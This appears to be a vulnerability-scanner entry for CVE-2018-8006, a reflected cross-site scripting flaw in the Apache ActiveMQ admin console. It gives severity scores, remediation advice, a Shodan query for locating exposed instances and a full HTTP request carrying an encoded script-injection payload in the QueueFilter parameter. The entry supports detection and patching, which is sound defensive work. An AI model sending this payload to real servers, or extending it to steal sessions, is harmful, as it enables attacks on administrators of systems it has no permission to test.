| Title | Apache ActiveMQ <=5.15.5 - Cross-Site Scripting |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade Apache ActiveMQ to a version higher than 5.15.5 or apply the necessary patches provided by the vendor. |
| CVSS Score | 6.1 |
| EPSS Score | 0.80061 |
| CVE ID | CVE-2018-8006 |
| CWE ID | CWE-79 |
| Shodan Query | cpe:"cpe:2.3:a:apache:activemq"product:"activemq openwire transport" |
| Tags | cve2018 cve apache activemq xss vkev vuln |
Apache ActiveMQ versions 5.0.0 to 5.15.5 are vulnerable to cross-site scripting via the web based administration console on the queue.jsp page. The root cause of this issue is improper data filtering of the QueueFilter parameter.
GET /admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-8006.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-8006.pcap
N/AN/A